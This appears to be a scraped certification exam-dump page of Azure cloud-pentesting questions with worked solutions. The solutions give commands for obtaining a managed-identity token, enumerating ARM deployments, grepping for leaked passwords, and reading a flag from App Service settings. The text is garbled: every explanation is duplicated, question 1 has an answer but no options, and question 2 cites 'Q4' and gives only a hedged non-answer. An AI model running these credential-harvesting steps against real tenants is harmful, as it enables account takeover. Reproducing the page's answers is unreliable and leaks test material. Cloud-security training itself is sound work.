最新的The SecOps Group Certified Cloud Pentesting eXpert - Azure - CCPenX-Az免費考試真題
問題1
Using the previously retrieved credentials, authenticate as the App Registration within the tenant and enumerate potential lateral movement vectors. Which of the following roles is assigned to the App Registration?
Using the previously retrieved credentials, authenticate as the App Registration within the tenant and enumerate potential lateral movement vectors. Which of the following roles is assigned to the App Registration?
正確答案: A
問題2
With access to the Web App's Managed Identity, you can now query certain Azure Resources. Use this access to uncover the hidden secret left behind during provisioning. What is the secret?
With access to the Web App's Managed Identity, you can now query certain Azure Resources. Use this access to uncover the hidden secret left behind during provisioning. What is the secret?
正確答案:
See the Answer in Explanation below.
Explanation:
The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:
[email protected]
Detailed Solution:
The key point is this: you are no longer only using Alex's user permissions. You must use the Web App managed identity .
From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.
For Linux-style shell:
curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df " \
-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "
For Windows PowerShell inside Kudu:
$uri = " $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/
& client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df "
$response = Invoke-RestMethod -Uri $uri -Headers @{
" X-IDENTITY-HEADER " = $env:IDENTITY_HEADER
}
$token = $response.access_token
Now use the token to query Azure Resource Manager.
$sub = " 7403ec86-c39d-4d80-9efa-35c7580ecefa "
$rg = " Excalibur-Resources "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-
01 " `
-Headers @{ Authorization = " Bearer $token " }
Next, enumerate ARM deployments.
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
For each deployment name returned, inspect it:
$deploymentName = " < deployment-name > "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Also check deployment operations:
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName/operations?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Search the output for fields like:
password
secret
adminPassword
userPassword
credential
sumit
The exposed value is the answer to Q4.
A practical one-liner on Linux would be:
curl -s -H " Authorization: Bearer $TOKEN " \
" https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups
/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api- version=2021-04-01 " \
| jq ' .. | strings ' | grep -iE ' password|secret|credential|sumit|flag ' Final answer:
Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab- generated.
Explanation:
The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:
[email protected]
Detailed Solution:
The key point is this: you are no longer only using Alex's user permissions. You must use the Web App managed identity .
From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.
For Linux-style shell:
curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df " \
-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "
For Windows PowerShell inside Kudu:
$uri = " $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/
& client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df "
$response = Invoke-RestMethod -Uri $uri -Headers @{
" X-IDENTITY-HEADER " = $env:IDENTITY_HEADER
}
$token = $response.access_token
Now use the token to query Azure Resource Manager.
$sub = " 7403ec86-c39d-4d80-9efa-35c7580ecefa "
$rg = " Excalibur-Resources "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-
01 " `
-Headers @{ Authorization = " Bearer $token " }
Next, enumerate ARM deployments.
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
For each deployment name returned, inspect it:
$deploymentName = " < deployment-name > "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Also check deployment operations:
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName/operations?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Search the output for fields like:
password
secret
adminPassword
userPassword
credential
sumit
The exposed value is the answer to Q4.
A practical one-liner on Linux would be:
curl -s -H " Authorization: Bearer $TOKEN " \
" https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups
/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api- version=2021-04-01 " \
| jq ' .. | strings ' | grep -iE ' password|secret|credential|sumit|flag ' Final answer:
Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab- generated.
問題3
You discover a storage account named prodreportstore01. Determine whether public blob access is enabled on the storage account.
You discover a storage account named prodreportstore01. Determine whether public blob access is enabled on the storage account.
正確答案:
See the Answer in Explanation below.
Explanation:
allowBlobPublicAccess: true
Detailed Solution:
Run:
az storage account show \
--name prodreportstore01 \
--resource-group rg-prod-apps-eastus \
--query " {Name:name,AllowBlobPublicAccess:allowBlobPublicAccess} " \
--output json
Expected output:
{
" Name " : " prodreportstore01 " ,
" AllowBlobPublicAccess " : true
}
This means public blob access is enabled at the storage-account level. That does not automatically mean every container is public, but it permits public container/blob exposure if configured.
Explanation:
allowBlobPublicAccess: true
Detailed Solution:
Run:
az storage account show \
--name prodreportstore01 \
--resource-group rg-prod-apps-eastus \
--query " {Name:name,AllowBlobPublicAccess:allowBlobPublicAccess} " \
--output json
Expected output:
{
" Name " : " prodreportstore01 " ,
" AllowBlobPublicAccess " : true
}
This means public blob access is enabled at the storage-account level. That does not automatically mean every container is public, but it permits public container/blob exposure if configured.
問題4
You've gained access to the Azure environment, now dig deeper. One of the accessible resources contains a hidden flag.
You've gained access to the Azure environment, now dig deeper. One of the accessible resources contains a hidden flag.
正確答案:
See the Answer in Explanation below.
Explanation:
Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}
Detailed Solution:
Start by listing all Azure resources accessible to the compromised user.
az resource list --output table
The environment exposes at least these resources:
RnD-Tools Excalibur-Resources ukwest Microsoft.Web/sites
WebAppTokenIdentity Excalibur-Resources ukwest Microsoft.ManagedIdentity/userAssignedIdentities The most interesting target is the App Service:
RnD-Tools
Web Apps often store configuration values in App Settings. These commonly contain secrets, flags, API keys, connection strings, or credentials.
Query the App Service application settings:
az webapp config appsettings list \
--name RnD-Tools \
--resource-group Excalibur-Resources \
--output json
Look for keys such as:
Flag
secret
password
token
connectionString
clientSecret
The exposed app setting contains:
{
" name " : " Flag " ,
" slotSetting " : false,
" value " : " Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2} "
}
Final answer:
Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}
Explanation:
Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}
Detailed Solution:
Start by listing all Azure resources accessible to the compromised user.
az resource list --output table
The environment exposes at least these resources:
RnD-Tools Excalibur-Resources ukwest Microsoft.Web/sites
WebAppTokenIdentity Excalibur-Resources ukwest Microsoft.ManagedIdentity/userAssignedIdentities The most interesting target is the App Service:
RnD-Tools
Web Apps often store configuration values in App Settings. These commonly contain secrets, flags, API keys, connection strings, or credentials.
Query the App Service application settings:
az webapp config appsettings list \
--name RnD-Tools \
--resource-group Excalibur-Resources \
--output json
Look for keys such as:
Flag
secret
password
token
connectionString
clientSecret
The exposed app setting contains:
{
" name " : " Flag " ,
" slotSetting " : false,
" value " : " Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2} "
}
Final answer:
Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}